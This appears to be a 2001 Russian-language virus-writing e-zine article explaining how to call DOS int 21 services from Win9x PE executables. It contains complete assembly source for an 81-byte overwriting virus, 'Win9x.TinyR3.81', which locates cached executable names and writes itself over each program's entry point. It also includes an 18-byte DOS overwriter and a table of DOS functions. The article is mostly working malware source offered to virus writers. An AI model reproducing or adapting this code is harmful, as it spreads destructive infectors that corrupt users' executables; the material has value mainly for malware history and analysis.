_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  Вызов int 21 из PE [2001]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by smart [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


                         Вызов int 21 из PE EXE.
                         ~~~~~~~~~~~~~~~~~~~~~~~
    DOS не умер ! Из PE EXE можно ползоваться досовским int 21, или, точнее,
 его имитацией.В kernel32.dll есть сервис для работы с досовскими функциями,
 расположенный по адресу 0bff712b9h К сожалению, он поддерживает не все функ-
 ции, но самые необходимые (то есть для работы с файлами)  имеются.  Полный
 список всех поддерживаемых функций - в конце статьи.

    Вызывать этот int 21 можно несколькими способами:

1) Сделав отдельную процедуру:

       call    int21
        ...
int21: push    esi
       mov     esi,0bff712b9h
       call    esi
       pop     esi
       ret

2) Через макрос (менее предпочтительно, т.к. неэкономно, но такой способ
   встречается довольно часто):

       int21   macro
       push    esi
       mov     esi,0bff712b9h
       call    esi
       pop     esi
       endm

3) Если есть неиспользуемый регистр, (например edi):

       mov     edi,0bff712b9h
       ...
       mov     ah,3eh
       call    edi   ; int 21h/close file

   Этот способ позволяет сэкономить место, т.к. инструкция call edi занимает
всего два байта.
   В качестве примера будет моя попытка написания самого короткого виря под
ring3. Этот вирус представляет собой оверврайтер длиной в 81 байт со следу-
ющими ограничениями:
 ■ в буфере по адресу edx должно быть какое-нибудь имя exeшника
 ■ имя этого exeшника должно начинаться с 'C:'
   В этом вирусе использовались некоторые идеи из вируса w95.espore by henky,
в частности поиск имён файлов в кеше.

────┤ cut here ├────────────────────────────────────────────────────────────
; Name:       Win9x.TinyR3.81
; Autor:      smart / Misdirected_Youth_All-Start
; Stuff used: source of W95.Espore.140 by Henky/29A
;             Matt Pietrek "Unautorised windows"
; Compile:    tasm32 /M /ML /Z kernel32.asm
;             tlink32 /Tpe /aa /c /x /r kernel32,,, import32

    .586p
    .model flat,stdcall

  TRUE = 1
  FALSE = 0
  DEBUG = TRUE
  Extrn MessageBoxA : proc

dataseg
     box_name db 'Virus',0
codeseg
      ════════════════════════╦═════════╦══════════════════════════════════╗
start:mov     esi,0bff712b9h ;║ 5 байт  ║ адрес кернеловского int 21       ║
      ════════════════════════╬═════════╬══════════════════════════════════╣
      mov     edi,0c1000000h ;║ 5 байт  ║ этот адрес доступен для записи - ║
                             ;║         ║ используем его как буфер         ║
      ════════════════════════╬═════════╬══════════════════════════════════╣
┌──── push    eax            ;║ 1 байт  ║ eax = entrypoint offset          ║
│     ════════════════════════╬═════════╬══════════════════════════════════╣
│ a1: inc     edx            ;║ 1 байт  ║ предполагаем, что в буфере по    ║
│     ════════════════════════╬═════════╣; по адресу edx содержатся имена  ║
│     cmp word ptr [edx],':C';║ 5 байт  ║ файлов. Если их там не окажется, ║
│     ════════════════════════╬═════════╣;то получаем зависание. Здесь мы  ║
│     je      a2             ;║ 2 байта ║ избавляемся от инструкции        ║
│     ════════════════════════╬═════════╣;mov ecx,чтото_там , т.к. в ecx   ║
│     loop    a1             ;║ 2 байта ║ уже есть необходимое значение.   ║
│     ════════════════════════╩═════════╩═════════╦════════════════════════╣
│a2: IF DEBUG                                     ║;выводим имя заражаемого║
│     pushad                                      ║;файла                  ║
│     call    MessageBoxA,0,edx,offset box_name,0 ║                        ║
│     popad                                       ║                        ║
│    ENDIF                                        ║                        ║
│     ════════════════════════╦═════════╦═════════╩════════════════════════╣
│     mov     ax,3d02h       ;║ 4 байта ║  открываем на запись найденный   ║
│     ════════════════════════╬═════════╣; файл и получаем его хендл       ║
│     call    esi            ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╣                                  ║
│     jnc     a3             ;║ 2 байта ║; т.к. в кэше может оказаться имя ║
│     ════════════════════════╬═════════╣; файла, запись в который не воз- ║
│     pop     eax            ;║ 1 байт  ║; можна (обычным способом), то    ║
│     ════════════════════════╬═════════╣; придётся вставить проверку      ║
│     ret                    ;║ 1 байт  ║;                                 ║
│     ════════════════════════╬═════════╣                                  ║
│a3:  xchg    ebx,eax        ;║ 1 байт  ║                                  ║
│     ════════════════════════╬═════════╬══════════════════════════════════╣
│     mov     ax,3f00h       ;║ 4 байта ║                                  ║
│     ════════════════════════╬═════════╣;  считываем MZ-header            ║
│ ┌── push    eax            ;║ 1 байт  ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   push    42h            ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   pop     ecx            ;║ 1 байт  ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   mov     edx,edi        ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   call    esi            ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╬══════════════════════════════════╣
│ │   mov     edx,[edi+3ch]  ;║ 3 байта ║; устанавливаем указатель на      ║
│ │   ════════════════════════╬═════════╣; pe header                       ║
│ │   xchg    ah,al          ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   xor     ecx,ecx        ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╣                                  ║
│ │   call    esi            ;║ 2 байта ║                                  ║
│ │   ════════════════════════╬═════════╬══════════════════════════════════╣
│ └── pop     eax            ;║ 1 байт  ║                                  ║
│     ════════════════════════╬═════════╣; считываем pe header             ║
│     mov     edx,edi        ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╣                                  ║
│     push    42h            ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╣                                  ║
│     pop     ecx            ;║ 1 байт  ║                                  ║
│     ════════════════════════╬═════════╣                                  ║
│     call    esi            ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╬══════════════════════════════════╣
│     mov     edx,[edi + 28h];║ 3 байта ║                                  ║
│     ════════════════════════╬═════════╣; установим указатель на точку    ║
│     xchg    ah,al          ;║ 2 байта ║ входа программы                  ║
│     ════════════════════════╬═════════╣                                  ║
│     xor     ecx,ecx        ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╣                                  ║
│     call    esi            ;║ 2 байта ║                                  ║
│     ════════════════════════╬═════════╬══════════════════════════════════╣
│     mov     ax,4000h       ;║ 4 байта ║                                  ║
│     ════════════════════════╬═════════╣; записываем вирус поверх кода    ║
└─────pop     edx            ;║ 1 байт  ║ программы                        ║
      ════════════════════════╬═════════╣                                  ║
      push    eov - start    ;║ 2 байта ║                                  ║
      ════════════════════════╬═════════╣                                  ║
      pop     ecx            ;║ 1 байт  ║                                  ║
      ════════════════════════╬═════════╣                                  ║
      call    esi            ;║ 2 байта ║                                  ║
      ════════════════════════╬═════════╬══════════════════════════════════╣
      ret                    ;║ 1 байт  ║; выходим из программы            ║
      ════════════════════════╩═════════╩══════════════════════════════════╝
                    ; всего:    81 байт
eov:
end start

────┤ cut here ├────────────────────────────────────────────────────────────

  Под дос нечто похожее занимало 18 байт, обрабатывался файл, указанный в
  командной строке. Вот, кстати, эта зверюга (автор неизвестен):

        mov     ah,1ah  ; 2
        mov     dx,si   ; 2
        int     21h     ; 2
        mov     ah,0fh  ; 2
        mov     dx,5ch  ; 3
        int     21h     ; 2
        mov     ah,15   ; 2
        int     21h     ; 2
        ret             ; 1

Список функций дос, поддерживаемых сервисом Int21h_Dispatch (взято из Питрека)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
┌────────────────────┬─────────────────────────────────┐
│DOS subfunction     │    Purpose                      │
├────────────────────┼─────────────────────────────────┤
│      0e00          │   Set default drive             │
│      1900          │   Get current drive             │
│      2a00          │   Get system date               │
│      2b00          │   Set system date               │
│      2c00          │   Get system time               │
│      2d00          │   Set system time               │
│      3600          │   Get disk free space           │
│      3d00          │   Open file - read only         │
│      3d02          │   Open file read/write          │
│      3e00          │   Close file                    │
│      3f00          │   Read file                     │
│      4000          │   Write file                    │
│      4200          │   Set current file position     │
│                    │   (relative to start of file)   │
│      4201          │   Set current file position     │
│                    │   (relative to current position)│
│      4202          │   Set current file position     │
│                    │   (relative to end of file)     │
│      4400          │   IOCTL - get device information│
│      4401          │   IOCTL - set device information│
│      4408          │   IOCTL - check if block device │
│                    │   removable                     │
│      4409          │   IOCTL - check if block device │
│                    │   remote                        │
│      4400          │   IOCTL - generic block device  │
│                    │   request                       │
│      4b00          │   Exec program                  │
│      4d00          │   Get return code               │
│      5000          │   Get current PSP               │
│      5700          │   Get file date/time            │
│      5701          │   Set file date/time            │
│      5704          │   Set extended file attributes  │
│      5705          │   ??? Unknown                   │
│      5706          │   ??? Unknown                   │
│      5707          │   ??? Unknown                   │
│      5900          │   Get extended error info       │
│      5c00          │   Lock file region              │
│      5c01          │   Unlock file region            │
│      5e00          │   Network functions             │
│      5f32          │   ??? Unknown                   │
│      5f33          │   ??? Unknown                   │
│      5f34          │   ??? Unknown                   │
│      5f35          │   ??? Unknown                   │
│      5f36          │   ??? Unknown                   │
│      5f37          │   ??? Unknown                   │
│      5f38          │   ??? Unknown                   │
│      5f4b          │   ??? Unknown                   │
│      5f4c          │   ??? Unknown                   │
│      5f4d          │   ??? Unknown                   │
│      5f4f          │   ??? Unknown                   │
│      5f52          │   ??? Unknown                   │
│      6800          │   Commit file                   │
│      7139          │   LFN create directory          │
│      713a          │   LFN remove directory          │
│      713b          │   LFN change directory          │
│      7141          │   LFN delete file               │
│      7143          │   LFN get/set file attributes   │
│      7147          │   LFN get current directory     │
│      714e          │   LFN find first file           │
│      714f          │   LFN find next file            │
│      7156          │   LFN rename file               │
│      7160          │   LFN get canonical filename    │
│      716c          │   LFN extended open/create      │
│      71a0          │   LFN get volume information    │
│      71a1          │   LFN find close                │
│      71a3          │   ??? Unknown                   │
│      71a4          │   ??? Unknown                   │
│      71a5          │   ??? Unknown                   │
│      71a6          │   LFN Get file info by handle   │
│      71a7          │   LFN File time to dos time     │
│      b400          │   ??? Unknown                   │
│      ea00          │   ??? Unknown                   │
└────────────────────┴─────────────────────────────────┘

                                (x) 2001 smart, misdirected_youth_all-star